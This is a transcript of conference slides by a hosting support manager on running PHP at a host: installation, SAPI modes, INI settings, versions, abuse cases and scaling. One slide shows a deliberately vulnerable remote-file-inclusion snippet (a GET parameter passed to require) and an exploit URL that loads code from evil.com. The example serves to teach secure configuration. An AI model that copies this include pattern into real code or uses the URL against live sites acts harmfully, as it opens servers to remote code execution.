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Slides for my "PHP through the eyes of a hoster" talk at PHP Barcelona Conference 2010

Slides for my "PHP through the eyes of a hoster" talk at PHP Barcelona Conference 2010

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    Php through the eyes of a hoster pbc10 Php through the eyes of a hoster pbc10 Presentation Transcript

    • PHP  through  the  eyes  of  a  hoster Thijs  Feryn Support  manager +32  (0)9  218  79  06 thijs@combellgroup.com PHP  Barcelona  Conference Saturday  October  30th  2010 Barcelona  Spain
    • About  me I’m  the  support  manager  at  Combell
    • About  me I’m  a  board  member  at  PHPBenelux
    • I  live  in  the  wonderful  city  of  Bruges MPBecker  -­‐  Bruges  by  Night  hOp://www.flickr.com/photos/galverson2/3715965933
    • Follow  me  on  Twi0er:  @ThijsFeryn Rate  my  talk:  h0p://joind.in Read  my  blog:  h0p://blog.feryn.eu
    • Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the   PHP  universe
    • Stakeholders Customer Development  company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultants Hoster PHP  community
    • Stakeholders Somewhere  along  the  road  ... Your  app  needs  to  be  hosted
    • Goals  &  moKves Our  goals  &  mo]ves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
    • Chapter  II:  InstallaKon  &  configuraKon
    • Installing  from  source server$  ./configure  -­‐-­‐prefix=/usr/local/php-­‐5.2.10   -­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs  -­‐-­‐ with-­‐zlib  -­‐-­‐with-­‐curl  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐mbstring   -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐enable-­‐pcntl  -­‐-­‐with-­‐ pdo-­‐mysql  -­‐-­‐with-­‐readline  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐xsl   -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mssql  -­‐-­‐with-­‐snmp  -­‐-­‐with-­‐imap   -­‐-­‐with-­‐kerberos  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐config-­‐ file-­‐path=/etc/php5/  -­‐-­‐enable-­‐sockets  -­‐-­‐with-­‐ freetype-­‐dir  -­‐-­‐with-­‐openssl   server$  make server$  make  install
    • Installing  using  a  package  manager  (APT/ApKtude) Install  PHP: server$  apt-­‐get  install  php5 Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5-­‐mysql
    • SAPI  ...  schmapi Mod_php FastCGI CLI Web Apache  module gateway -­‐ Process Apache  process php-­‐cgi php Configura]on Apache  conf  files wrapper on  the  fly shell  user  or   User Apache  user shell  user suexec  user
    • FastCGI Example  config: • Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
    • FastCGI Example  config: • Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.1/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
    • INI  seQngs:  tales  of  good  &  evil
    • INI  seQngs:  tales  of  good  &  evil Defining  INI  se<ngs: • Php.ini • Ini_set() • “-­‐d”   • php_value • php_flag • php_admin_value • php_admin_flag
    • INI  seQngs:  tales  of  good  &  evil Memory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
    • INI  seQngs:  tales  of  good  &  evil Safe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
    • INI  seQngs:  tales  of  good  &  evil Allow_url_fopen: <?php $lang= $_GET['lang']; require("$lang.php"); http://domain.ext/index.php?lang=http://evil.com/hack.txt?
    • Chapter  III:  Versions  &  features
    • PHP  4:  End  of  life,  but  far  from  dead
    • PHP  4:  End  of  life,  but  far  from  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  '}'  in  test.php  on  line  4
    • Developers  love  bling  bling
    • It  HAS  to  be  PHP  5.3.2  !!!
    • I  need  ALL  PHP  extension  !!!
    • I  use  ALL  PHP  features  !!!
    • Fruit  &  vegetables:  PEAR  &  PECL
    • Fruit  &  vegetables:  PEAR  &  PECL PEAR PHP  Extension  and  Applica]on  Repository  (h#p//pear.php.net) server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php server$  pear  install  date
    • Fruit  &  vegetables:  PEAR  &  PECL PECL  (pickle) PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
    • External  frameworks Popular  frameworks  outside  the  PHP  project
    • Chapter  IV:  PHP  a0racts  a  crowd
    • It’s  easy  !
    • That  easy  ! <?php echo "Hello world!";
    • It’s  cheap  !
    • It’s  stable  !
    • Everyone  can  be  a  PHP  developer
    • But  not  everyone  has  what  it  takes
    • Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  soiware  out  there
    • Who  you  gonna  call  ?
    • But  when  helpers  need  help  ...
    • They  reach  out  to  the  PHP  community User  Group  mee]ngs TwiOer Blogs Forums PHP.net IRC Conferences
    • Chapter  V:  Here  be  phpirates
    • Here  be  phpirates
    • Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
    • False  assumpKons “Open  source  is  evil” “PHP  has  lots  of  security  vulnerabili]es  and  is  not  mature”
    • Here  be  phpirates The  real  issues • Quality  of  the  code • Network  &  server  security • PHP  version  &  configura]on
    • ResponsibiliKes
    • Chapter  VI:  Scalability
    • Performance  ==  speed
    • Scalability  ==  constant  speed  under  increasing  load
    • Scaling  up
    • Scaling  out
    • Developers  (some2mes)  forget  ...
    • Scaling  MySQL
    • mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =   table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit   12,12; ***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALL possible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort ***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALL possible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
    • mysql>  show  processlist; +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info         | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+ |  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show   processlist                                                                | |  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL         | |  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT   data  from  someTable  where  field  =  'val'    | |  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT   data  from  someTable  where  field='val2'      | |  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT   data  from  someTable  where  order  by  field  | |  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT   data  from  someOtherTable                                  | +-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐ +-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
    • Scaling  MySQL  with  replicaKon
    • PHP  scalability  toolbox
    • Memcached
    • Gearman
    • Varnish
    • Summary
    • Summary 1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe 2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup 3.PHP  has  a  lot  to  offer  feature-­‐wise 4.PHP  aOracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters) 5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself 6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
    • Q&A